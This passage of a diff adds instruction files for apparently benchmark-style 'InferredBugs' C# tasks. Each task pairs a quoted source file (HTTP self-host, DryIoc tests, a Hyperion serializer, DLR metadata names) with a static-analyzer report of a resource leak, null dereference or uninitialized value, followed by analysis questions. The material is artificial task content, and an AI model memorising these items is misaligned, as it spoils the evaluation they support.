+                foreach (var prefix in GetPrefixes())
+                {
+                    _listener.Prefixes.Add(prefix);
+                }
+
+                _listener.Start();
+
+                return true;
+            }
+            catch (HttpListenerException e)
+            {
+                int ACCESS_DENIED = 5;
+                if (e.ErrorCode == ACCESS_DENIED)
+                {
+                    return false;
+                }
+
+                throw;
+            }
+        }
+
+        private bool TryAddUrlReservations()
+        {
+            var user = WindowsIdentity.GetCurrent().Name;
+
+            foreach (var prefix in GetPrefixes())
+            {
+                if (!NetSh.AddUrlAcl(prefix, user))
+                {
+                    return false;
+                }
+            }
+
+            return true;
+        }
+
+        private IEnumerable<string> GetPrefixes()
+        {
+            foreach (var baseUri in _baseUriList)
+            {
+                var prefix = new UriBuilder(baseUri).ToString();
+
+                bool rewriteLocalhost = true;
+                if (rewriteLocalhost && !baseUri.Host.Contains("."))
+                {
+                    prefix = prefix.Replace("localhost", "+");
+                }
+
+                yield return prefix;
+            }
+        }
+
+        private Uri GetBaseUri(HttpListenerRequest request)
+        {
+            var result = _baseUriList.FirstOrDefault(uri => uri.IsCaseInsensitiveBaseOf(request.Url));
+
+            if (result != null)
+            {
+                return result;
+            }
+
+            return new Uri(request.Url.GetLeftPart(UriPartial.Authority));
+        }
+
+        private Request ConvertRequest(HttpListenerRequest httpRequest)
+        {
+            var baseUri = GetBaseUri(httpRequest);
+
+            if (baseUri == null)
+            {
+                throw new InvalidOperationException(string.Format("Unable to locate base URI for request: {0}", httpRequest.Url));
+            }
+
+            var expectedRequestLength = GetExpectedRequestLength(httpRequest.Headers.ToDictionary());
+
+            var relativeUrl = baseUri.MakeAppLocalPath(httpRequest.Url);
+
+            var url = new Url
+            {
+                Scheme = httpRequest.Url.Scheme,
+                HostName = httpRequest.Url.Host,
+                Port = httpRequest.Url.IsDefaultPort ? null : (int?)httpRequest.Url.Port,
+                BasePath = baseUri.AbsolutePath.TrimEnd('/'),
+                Path = HttpUtility.UrlDecode(relativeUrl),
+                Query = httpRequest.Url.Query,
+            };
+
+            // NOTE: For HTTP/2 we want fieldCount = 1,
+            // otherwise (HTTP/1.0 and HTTP/1.1) we want fieldCount = 2
+            var fieldCount = httpRequest.ProtocolVersion.Major == 2 ? 1 : 2;
+
+            var protocolVersion = string.Format("HTTP/{0}", httpRequest.ProtocolVersion.ToString(fieldCount));
+
+            return new Request(
+                httpRequest.HttpMethod,
+                url,
+                RequestStream.FromStream(httpRequest.InputStream, expectedRequestLength, false),
+                httpRequest.Headers.ToDictionary(),
+                (httpRequest.RemoteEndPoint != null) ? httpRequest.RemoteEndPoint.Address.ToString() : null,
+                protocolVersion);
+        }
+
+        private void ConvertResponse(Response response, HttpListenerResponse httpResponse)
+        {
+            foreach (var header in response.Headers)
+            {
+                if (!IgnoredHeaders.IsIgnored(header.Key))
+                {
+                    httpResponse.AddHeader(header.Key, header.Value);
+                }
+            }
+
+            if (response.ReasonPhrase != null)
+            {
+                httpResponse.StatusDescription = response.ReasonPhrase;
+            }
+
+            if (response.ContentType != null)
+            {
+                httpResponse.ContentType = response.ContentType;
+            }
+
+            httpResponse.StatusCode = (int)response.StatusCode;
+
+            using (var output = httpResponse.OutputStream)
+            {
+                response.Contents.Invoke(output);
+            }
+        }
+
+        private static long GetExpectedRequestLength(IDictionary<string, IEnumerable<string>> incomingHeaders)
+        {
+            if (incomingHeaders == null)
+            {
+                return 0;
+            }
+
+            if (!incomingHeaders.ContainsKey("Content-Length"))
+            {
+                return 0;
+            }
+
+            var headerValue = incomingHeaders["Content-Length"].SingleOrDefault();
+
+            if (headerValue == null)
+            {
+                return 0;
+            }
+
+            long contentLength;
+
+            return !long.TryParse(headerValue, NumberStyles.Any, CultureInfo.InvariantCulture, out contentLength) ?
+                0 : contentLength;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type Cowboy.Request, Leaked resource (returned from Cowboy.RequestStream Cowboy.RequestStream::FromStream(System.IO.Stream,System.Int64,System.Boolean) at Line 200) of type Cowboy.RequestStream in method "Request SelfHost.ConvertRequest(HttpListenerRequest)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Request SelfHost.ConvertRequest(HttpListenerRequest)
+
+### File:
+Cowboy.Hosting.Self/SelfHost.cs
+
+### Key:
+SelfHost.cs|ConvertRequest|DOTNET_RESOURCE_LEAK
+
+### Hash:
+9c6cfc2f7159d3381e8436416911b70d
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0248/instruction.md b/inferredbugs-0248/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a53fda1f94a9e0ff72032ef1f1b48ea8f4b5b23a
--- /dev/null
+++ b/inferredbugs-0248/instruction.md
@@ -0,0 +1,266 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** DryIoc
+**Bug ID:** 8
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using NUnit.Framework;
+
+namespace DryIoc.UnitTests
+{
+    [TestFixture]
+    public class CompositePatternTests
+    {
+        [Test]
+        public void I_should_be_able_to_resolve_composite_of_enumerable_without_exception()
+        {
+            var container = new Container();
+            container.Register(typeof(IShape), typeof(Circle));
+            container.Register(typeof(IShape), typeof(Square));
+            container.Register(typeof(IShape), typeof(PolygonOfEnumerable), serviceKey: "composite");
+
+            var composite = (PolygonOfEnumerable)container.Resolve<IShape>("composite");
+
+            Assert.AreEqual(2, composite.Shapes.Count());
+        }
+
+        [Test]
+        public void I_should_be_able_to_resolve_enumerable_of_funcs_without_exception()
+        {
+            var container = new Container();
+            container.Register(typeof(IShape), typeof(Circle));
+            container.Register(typeof(IShape), typeof(Square));
+            container.Register(typeof(IShape), typeof(PolygonOfEnumerable));
+
+            var shapes = container.Resolve<IEnumerable<Func<IShape>>>();
+
+            Assert.AreEqual(3, shapes.Count());
+        }
+
+        [Test]
+        public void I_should_be_able_to_resolve_composite_of_array_without_exception()
+        {
+            var container = new Container();
+            container.Register(typeof(IShape), typeof(Circle));
+            container.Register(typeof(IShape), typeof(Square));
+            container.Register(typeof(IShape), typeof(PolygonOfArray), serviceKey: "composite");
+
+            var composite = (PolygonOfArray)container.Resolve<IShape>("composite");
+
+            Assert.AreEqual(2, composite.Shapes.Count());
+        }
+
+        [Test]
+        public void I_should_be_able_to_resolve_default_composite_without_exception()
+        {
+            var container = new Container();
+            container.Register(typeof(IShape), typeof(Circle), serviceKey: "circle");
+            container.Register(typeof(IShape), typeof(Square), serviceKey: "square");
+            container.Register(typeof(IShape), typeof(PolygonOfArray));
+
+            var composite = (PolygonOfArray)container.Resolve<IShape>();
+
+            Assert.AreEqual(2, composite.Shapes.Count());
+        }
+
+        [Test]
+        public void I_should_be_able_to_resolve_composite_as_item_without_exception()
+        {
+            var container = new Container();
+            container.Register(typeof(IShape), typeof(Circle));
+            container.Register(typeof(IShape), typeof(Square));
+            container.Register(typeof(IShape), typeof(PolygonOfEnumerable));
+
+            var shapes = container.Resolve<IShape[]>();
+
+            Assert.AreEqual(3, shapes.Count());
+        }
+
+        [Test]
+        public void I_should_be_able_to_resolve_composite_of_many_as_item_without_exception()
+        {
+            var container = new Container();
+            container.Register(typeof(IShape), typeof(Circle));
+            container.Register(typeof(IShape), typeof(Square));
+            container.Register(typeof(IShape), typeof(PolygonOfMany), serviceKey: "composite");
+
+            var polygon = (PolygonOfMany)container.Resolve<IShape>("composite");
+            Assert.AreEqual(2, polygon.Shapes.Count());
+
+            var shapes = container.Resolve<LazyEnumerable<IShape>>().Items;
+            Assert.AreEqual(3, shapes.Count());
+        }
+
+        [Test]
+        public void No_recursion_with_required_type()
+        {
+            var container = new Container();
+            container.Register<IOperation, OperationOne>(serviceKey: nameof(OperationOne));
+            container.Register<IOperation, OperationTwo>(serviceKey: nameof(OperationTwo));
+
+            container.RegisterMany(
+                new[] {typeof(IOperation), typeof(IAction)},
+                typeof(CompositeOpertaion));
+            container.Register<Service>(made: Parameters.Of.Type<IAction>(typeof(IOperation)));
+
+            var service = container.Resolve<Service>();
+            Assert.IsNotNull(service);
+            Assert.IsInstanceOf<CompositeOpertaion>(service.Action);
+        }
+
+        [Test]
+        public void No_recursion_with_required_type_in_lazy_enumerable()
+        {
+            var container = new Container(rules => rules.WithResolveIEnumerableAsLazyEnumerable());
+            container.Register<IOperation, OperationOne>(serviceKey: nameof(OperationOne));
+            container.Register<IOperation, OperationTwo>(serviceKey: nameof(OperationTwo));
+
+            container.RegisterMany(
+                new[] { typeof(IOperation), typeof(IAction) },
+                typeof(CompositeOpertaion));
+            container.Register<Service>(made: Parameters.Of.Type<IAction>(typeof(IOperation)));
+
+            var service = container.Resolve<Service>();
+            Assert.IsNotNull(service);
+            Assert.IsInstanceOf<CompositeOpertaion>(service.Action);
+        }
+
+        public interface IAction
+        {
+        }
+
+        public interface IOperation : IAction
+        {
+        }
+
+        public class OperationOne : IOperation
+        {
+        }
+
+        public class OperationTwo : IOperation
+        {
+        }
+
+        public class CompositeOpertaion : IOperation
+        {
+            public readonly IEnumerable<IOperation> Operations;
+
+            public CompositeOpertaion(IEnumerable<IOperation> operations)
+            {
+                Operations = operations.ToArray();
+            }
+        }
+
+        public class Service
+        {
+            public readonly IAction Action;
+
+            public Service(IAction action)
+            {
+                Action = action;
+            }
+        }
+
+        #region Composite pattern CUT
+
+        public interface IShape
+        {
+        }
+
+        public class Circle : IShape
+        {
+        }
+
+        public class Square : IShape
+        {
+        }
+
+        public class PolygonOfEnumerable : IShape
+        {
+            public IEnumerable<IShape> Shapes { get; set; }
+
+            public PolygonOfEnumerable(IEnumerable<IShape> shapes)
+            {
+                Shapes = shapes;
+            }
+        }
+
+        public class PolygonOfMany : IShape
+        {
+            public IEnumerable<IShape> Shapes { get; set; }
+
+            public PolygonOfMany(LazyEnumerable<IShape> shapes)
+            {
+                Shapes = shapes;
+            }
+        }
+
+        public class PolygonOfArray : IShape
+        {
+            public IShape[] Shapes { get; set; }
+
+            public PolygonOfArray(IShape[] shapes)
+            {
+                Shapes = shapes;
+            }
+        }
+
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource container of type DryIoc.Container in method "Void CompositePatternTests.No_recursion_with_required_type()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void CompositePatternTests.No_recursion_with_required_type()
+
+### File:
+DryIoc.UnitTests/CompositePatternTests.cs
+
+### Key:
+CompositePatternTests.cs|No_recursion_with_required_type|DOTNET_RESOURCE_LEAK
+
+### Hash:
+761410cb8d46a90871cafe9b6a3ce774
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0277/instruction.md b/inferredbugs-0277/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..84b078d5619db35c8744299ebd64c9d47df80aa2
--- /dev/null
+++ b/inferredbugs-0277/instruction.md
@@ -0,0 +1,112 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Hyperion
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+
+namespace Wire.ValueSerializers
+{
+    public class ConsistentArraySerializer : ValueSerializer
+    {
+        public static readonly ConsistentArraySerializer Instance = new ConsistentArraySerializer();
+        private readonly byte[] _manifest = {254};
+
+        public override object ReadValue(Stream stream, SerializerSession session)
+        {
+            var elementSerializer = session.Serializer.GetSerializerByManifest(stream, session);
+                //read the element type
+            var elementType = elementSerializer.GetElementType();
+                //get the element type serializer
+            var length = (int) Int32Serializer.Instance.ReadValue(stream, session); //read the array length
+            var array = Array.CreateInstance(elementType, length); //create the array
+            for (var i = 0; i < length; i++)
+            {
+                var value = elementSerializer.ReadValue(stream, session); //read the element value
+                array.SetValue(value, i); //set the element value
+            }
+            return array;
+        }
+
+        public override Type GetElementType()
+        {
+            throw new NotSupportedException();
+        }
+
+        public override void WriteManifest(Stream stream, Type type, SerializerSession session)
+        {
+            stream.Write(_manifest, 0, _manifest.Length);
+        }
+
+        public override void WriteValue(Stream stream, object value, SerializerSession session)
+        {
+            var array = value as Array;
+            var elementType = value.GetType().GetElementType();
+            var elementSerializer = session.Serializer.GetSerializerByType(elementType);
+            elementSerializer.WriteManifest(stream, elementType, session); //write array element type
+            Int32Serializer.Instance.WriteValue(stream, array.Length, session); //write array length
+            for (var i = 0; i < array.Length; i++) //write the elements
+            {
+                var elementValue = array.GetValue(i);
+                elementSerializer.WriteValue(stream, elementValue, session);
+            }
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `array` last assigned on line 39 could be null and is dereferenced at line 43, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ConsistentArraySerializer.WriteValue(Stream,Object,SerializerSession)
+
+### File:
+Wire/ValueSerializers/ConsistentArraySerializer.cs
+
+### Key:
+ConsistentArraySerializer.cs|WriteValue|NULL_DEREFERENCE
+
+### Node Key:
+96dedd6dddaca32a2416e33dabbf5226
+
+### Hash:
+3f863455d4d6057f56abc3fc496730f7
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0283/instruction.md b/inferredbugs-0283/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..777b7e770c2b118f5909d2377573fa34a4327387
--- /dev/null
+++ b/inferredbugs-0283/instruction.md
@@ -0,0 +1,517 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** dlr
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/* ****************************************************************************
+ *
+ * Copyright (c) Microsoft Corporation. 
+ *
+ * This source code is subject to terms and conditions of the Apache License, Version 2.0. A 
+ * copy of the license can be found in the License.html file at the root of this distribution. If 
+ * you cannot locate the  Apache License, Version 2.0, please send an email to 
+ * dlr@microsoft.com. By using this source code in any fashion, you are agreeing to be bound 
+ * by the terms of the Apache License, Version 2.0.
+ *
+ * You must not remove this notice, or any other, from this software.
+ *
+ *
+ * ***************************************************************************/
+using System;
+using System.Diagnostics;
+using System.Diagnostics.Contracts;
+using System.Security;
+using System.Text;
+
+namespace Microsoft.Scripting.Metadata {
+    /// <summary>
+    /// Zero terminated, UTF8 encoded sequence of bytes representing a name in metadata (a type name, a member name, etc).
+    /// The name is bound to the module it was retrieved from. The module is kept alive until all its metadata names are collected.
+    /// Doesn't cache hashcode, byte or character count.
+    /// </summary>
+    public unsafe struct MetadataName : IEquatable<MetadataName>, IEquatable<MetadataNamePart> {
+        internal readonly byte* m_data;
+        internal readonly object m_keepAlive;
+
+        public static readonly MetadataName Empty = default(MetadataName);
+
+        internal MetadataName(byte* data, object keepAlive) {
+            m_data = data;
+            m_keepAlive = keepAlive;
+        }
+
+        public bool IsEmpty {
+            get {
+                bool result = m_data == null || *m_data == 0;
+                GC.KeepAlive(m_keepAlive);
+                return result;
+            }
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public override bool Equals(object obj) {
+            return obj is MetadataName && Equals((MetadataName)obj)
+                || obj is MetadataNamePart && Equals((MetadataNamePart)obj);
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public bool Equals(MetadataName other) {
+            bool result = Equals(m_data, other.m_data);
+            GC.KeepAlive(m_keepAlive);
+            GC.KeepAlive(other.m_keepAlive);
+            return result;
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public bool Equals(MetadataNamePart other) {
+            return other.Equals(this);
+        }
+
+        public static bool operator ==(MetadataName self, MetadataNamePart other) {
+            return self.Equals(other);
+        }
+
+        public static bool operator ==(MetadataName self, MetadataName other) {
+            return self.Equals(other);
+        }
+
+        public static bool operator !=(MetadataName self, MetadataNamePart other) {
+            return self.Equals(other);
+        }
+
+        public static bool operator !=(MetadataName self, MetadataName other) {
+            return self.Equals(other);
+        }
+
+        // safe
+        public bool Equals(byte[] bytes, int start, int count) {
+            if (bytes == null) {
+                throw new ArgumentNullException(nameof(bytes));
+            }
+            if (start < 0) {
+                throw new ArgumentOutOfRangeException(nameof(start));
+            }
+            if (count < 0 || count > bytes.Length - start) {
+                throw new ArgumentOutOfRangeException(nameof(count));
+            }
+
+            bool result;
+            fixed (byte* ptr = &bytes[start]) {
+                result = Equals(m_data, ptr, count);
+            }
+            GC.KeepAlive(m_keepAlive);
+            return result;
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public override string ToString() {
+            if (m_data == null) {
+                return string.Empty;
+            }
+
+            int byteCount = GetLength();
+            int charCount = Encoding.UTF8.GetCharCount(m_data, byteCount, null);
+#if CCI
+            string result = new string('\0', charCount);
+#else
+            string result = String.FastAllocateString(charCount);
+#endif
+            fixed (char* ptr = result) {
+                Encoding.UTF8.GetChars(m_data, byteCount, ptr, charCount, null);
+            }
+            GC.KeepAlive(m_keepAlive);
+            return result;
+        }
+
+        // safe
+        internal string ToString(int byteCount) {
+            if (m_data == null) {
+                Contract.Assert(byteCount == 0);
+                return string.Empty;
+            }
+
+            // TODO: use FastAllocateString (if we know character length we can optimize):
+            string result = new string((sbyte*)m_data, 0, byteCount, Encoding.UTF8);
+            GC.KeepAlive(m_keepAlive);
+            return result;
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public override int GetHashCode() {
+            int result = GetByteHashCode(m_data);
+            GC.KeepAlive(m_keepAlive);
+            return result;
+        }
+
+        // safe
+        internal int GetHashCode(int start, int count) {
+            int result = GetByteHashCode((m_data != null) ? m_data + start : null, count);
+            GC.KeepAlive(m_keepAlive);
+            return result;
+        }
+
+        // safe
+        public int GetLength() {
+            int result = GetLength(m_data);
+            GC.KeepAlive(m_keepAlive);
+            return result;
+        }
+
+        public MetadataNamePart GetExtent() {
+            return new MetadataNamePart(this, GetLength());
+        }
+
+        // safe
+        internal MetadataName GetSuffix(int start) {
+            return (m_data != null) ? new MetadataName(m_data + start, m_keepAlive) : Empty;
+        }
+
+        // safe
+        internal int IndexOf(byte b) {
+            int result = IndexOf(m_data, b);
+            GC.KeepAlive(m_keepAlive);
+            return result;
+        }
+
+        // safe
+        internal int IndexOf(byte b, int start, int count) {
+            int result = IndexOf(m_data, b, start, count);
+            GC.KeepAlive(m_keepAlive);
+            return result;
+        }
+
+        // safe
+        internal int LastIndexOf(byte b, int start, int count) {
+            if (m_data == null) return -1;
+            byte* ptr = FindPrevious(m_data + start, m_data + start - count + 1, b);
+            GC.KeepAlive(m_keepAlive);
+            return ptr != null ? (int)(ptr - m_data) : -1;
+        }
+
+        internal static int GetLength(byte* bytes) {
+            if (bytes == null) {
+                return 0;
+            }
+            byte* ptr = bytes;
+            while (*ptr != 0) {
+                ptr++;
+            }
+            return (int)(ptr - bytes);
+        }
+
+        internal static int IndexOf(byte* bytes, byte b) {
+            if (bytes == null) {
+                return -1;
+            }
+            byte* ptr = bytes;
+            while (*ptr != 0 && *ptr != b) {
+                ptr++;
+            }
+            if (*ptr == 0) {
+                return -1;
+            }
+            return (int)(ptr - bytes);
+        }
+
+        internal static int IndexOf(byte* bytes, byte b, int start, int count) {
+            if (bytes == null) {
+                return -1;
+            }
+
+            // TODO: return Buffer.IndexOfByte(m_data, b, start, count);
+            byte* ptr = bytes + start;
+            byte* endPtr = bytes + start + count;
+            while (ptr < endPtr) {
+                if (*ptr == b) {
+                    return (int)(ptr - bytes);
+                }
+                ptr++;
+            }
+            return -1;
+        }
+        
+        internal static byte* FindPrevious(byte* start, byte* last, byte b) {
+            Contract.Assert(start != null && last != null);
+            byte* ptr = start - 1;
+            while (true) {
+                if (ptr < last) {
+                    return null;
+                }
+                if (*ptr == b) {
+                    return ptr;
+                }
+                ptr--;
+            }
+        }
+
+        internal static int GetByteHashCode(byte* bytes) {
+            int hash1 = 5381;
+            int hash2 = hash1;
+
+            if (bytes != null) {
+                int c;
+                byte* s = bytes;
+                while ((c = s[0]) != 0) {
+                    hash1 = ((hash1 << 5) + hash1) ^ c;
+                    c = s[1];
+                    if (c == 0) {
+                        break;
+                    }
+                    hash2 = ((hash2 << 5) + hash2) ^ c;
+                    s += 2;
+                }
+            }
+            return hash1 + (hash2 * 1566083941);
+        }
+
+        internal static int GetByteHashCode(byte* bytes, int count) {
+            Contract.Assert(bytes != null || count == 0);
+
+            int hash1 = 5381;
+            int hash2 = hash1;
+
+            if (bytes != null) {
+                byte* last = bytes + count - 1;
+                byte* s = bytes;
+                while (s < last) {
+                    hash1 = ((hash1 << 5) + hash1) ^ (int)s[0];
+                    hash2 = ((hash2 << 5) + hash2) ^ (int)s[1];
+                    s += 2;
+                }
+                if (s < bytes + count) {
+                    hash1 = ((hash1 << 5) + hash1) ^ (int)s[0];
+                }
+            }
+            return hash1 + (hash2 * 1566083941);
+        }
+
+        internal static bool Equals(byte* p, byte* q) {
+            if (p == q) {
+                return true;
+            }
+            if (p == null) {
+                return *q == 0;
+            }
+            if (q == null) {
+                return *p == 0;
+            }
+
+            while (true) {
+                if (*p != *q) {
+                    return false;
+                }
+                if (*p == 0) {
+                    return true;
+                }
+                p++;
+                q++;
+            }
+        }
+
+        internal static bool Equals(byte* p, byte* q, int qCount) {
+            if (p == null) {
+                return qCount == 0;
+            }
+
+            byte* e = q + qCount;
+            while (true) {
+                if (*p == 0) {
+                    return q == e;
+                }
+                if (q == e || *p != *q) {
+                    return false;
+                }
+                p++;
+                q++;
+            }
+        }
+
+        internal static bool Equals(byte* p, int pCount, byte* q, int qCount) {
+            if (pCount != qCount) {
+                return false;
+            }
+            if (p == q || pCount == 0) {
+                return true;
+            }
+
+            byte* e = p + pCount;
+            while (p < e) {
+                if (*p != *q) {
+                    return false;
+                }
+                p++;
+                q++;
+            }
+            return true;
+        }
+    }
+
+    public struct MetadataNamePart : IEquatable<MetadataNamePart>, IEquatable<MetadataName> {
+        private readonly MetadataName m_name;
+        private readonly int m_byteCount;
+
+        public static readonly MetadataNamePart Empty = default(MetadataNamePart);
+
+        internal MetadataNamePart(MetadataName name, int byteCount) {
+            m_name = name;
+            m_byteCount = byteCount;
+        }
+
+        public int Length {
+            get { return m_byteCount; }
+        }
+
+        public int IndexOf(byte b) {
+            return m_name.IndexOf(b, 0, m_byteCount);
+        }
+
+        public int IndexOf(byte b, int start, int count) {
+            if (start < 0) {
+                throw new ArgumentOutOfRangeException(nameof(start));
+            }
+            if (count < 0 || count > Length - start) {
+                throw new ArgumentOutOfRangeException(nameof(count));
+            }
+            return m_name.IndexOf(b, start, count);
+        }
+
+        public int LastIndexOf(byte b, int start, int count) {
+            if (start < 0 || start > Length) {
+                throw new ArgumentOutOfRangeException(nameof(start));
+            }
+            if (count < 0 || start < count - 1) {
+                throw new ArgumentOutOfRangeException(nameof(count));
+            }
+            return m_name.LastIndexOf(b, start, count);
+        }
+
+        public unsafe MetadataNamePart GetPart(int start) {
+            if (start < 0 || start > Length) {
+                throw new ArgumentOutOfRangeException(nameof(start));
+            }
+            return new MetadataNamePart(m_name.GetSuffix(start), m_byteCount - start);
+        }
+
+        public unsafe MetadataNamePart GetPart(int start, int count) {
+            if (start < 0) {
+                throw new ArgumentOutOfRangeException(nameof(start));
+            }
+            if (count < 0 || count > Length - start) {
+                throw new ArgumentOutOfRangeException(nameof(count));
+            }
+            return new MetadataNamePart(m_name.GetSuffix(start), count);
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public override string ToString() {
+            return m_name.ToString(m_byteCount);
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public override int GetHashCode() {
+            return m_name.GetHashCode(0, m_byteCount);
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public override bool Equals(object obj) {
+            return obj is MetadataNamePart && Equals((MetadataNamePart)obj)
+                || obj is MetadataName && Equals((MetadataName)obj);
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public unsafe bool Equals(MetadataNamePart other) {
+            bool result = MetadataName.Equals(m_name.m_data, m_byteCount, other.m_name.m_data, other.m_byteCount);
+            GC.KeepAlive(m_name.m_keepAlive);
+            GC.KeepAlive(other.m_name.m_keepAlive);
+            return result;
+        }
+
+        // SECURITY: The method is actually not safe. We must make sure that this object is not leaked to partially-trusted code.
+        [SecuritySafeCritical]
+        public unsafe bool Equals(MetadataName other) {
+            bool result = MetadataName.Equals(other.m_data, m_name.m_data, m_byteCount);
+            GC.KeepAlive(m_name.m_keepAlive);
+            GC.KeepAlive(other.m_keepAlive);
+            return result;
+        }
+
+        public static bool operator ==(MetadataNamePart self, MetadataNamePart other) {
+            return self.Equals(other);
+        }
+
+        public static bool operator ==(MetadataNamePart self, MetadataName other) {
+            return self.Equals(other);
+        }
+
+        public static bool operator !=(MetadataNamePart self, MetadataNamePart other) {
+            return self.Equals(other);
+        }
+
+        public static bool operator !=(MetadataNamePart self, MetadataName other) {
+            return self.Equals(other);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+PULSE_UNINITIALIZED_VALUE
+
+### Qualifier:
+`this.Microsoft.Scripting.Metadata.MetadataName.m_data` is read without initialization during the call to `MetadataName.GetHashCode(...)`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Int32 MetadataNamePart.GetHashCode()
+
+### File:
+Src/Microsoft.Scripting.Metadata/MetadataName.cs
+
+### Key:
+MetadataName.cs|GetHashCode|PULSE_UNINITIALIZED_VALUE
+
+### Hash:
+d3ee861574acce8fc38cd4ec533f0016
+
+### Bug Type Hum:
+Uninitialized Value
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0302/instruction.md b/inferredbugs-0302/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3672b45a8c280f81ec68f5eaae213b083f67a1b5
--- /dev/null
+++ b/inferredbugs-0302/instruction.md
@@ -0,0 +1,212 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** kiota
+**Bug ID:** 11
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq;
+using Xunit;
+
+namespace Kiota.Builder.Refiners.Tests {
+    public class RubyLanguageRefinerTests {
+
+        private readonly CodeNamespace graphNS;
+        private readonly CodeClass parentClass;
+        private readonly CodeNamespace root = CodeNamespace.InitRootNamespace();
+        public RubyLanguageRefinerTests() {
+            root = CodeNamespace.InitRootNamespace();
+            graphNS = root.AddNamespace("graph");
+            parentClass = new (graphNS) {
+                Name = "parentClass"
+            };
+            graphNS.AddClass(parentClass);
+        }
+        #region CommonLanguageRefinerTests
+        [Fact]
+        public void AddsDefaultImports() {
+            var model = root.AddClass(new CodeClass (root) {
+                Name = "model",
+                ClassKind = CodeClassKind.Model
+            }).First();
+            var requestBuilder = root.AddClass(new CodeClass(root) {
+                Name = "rb",
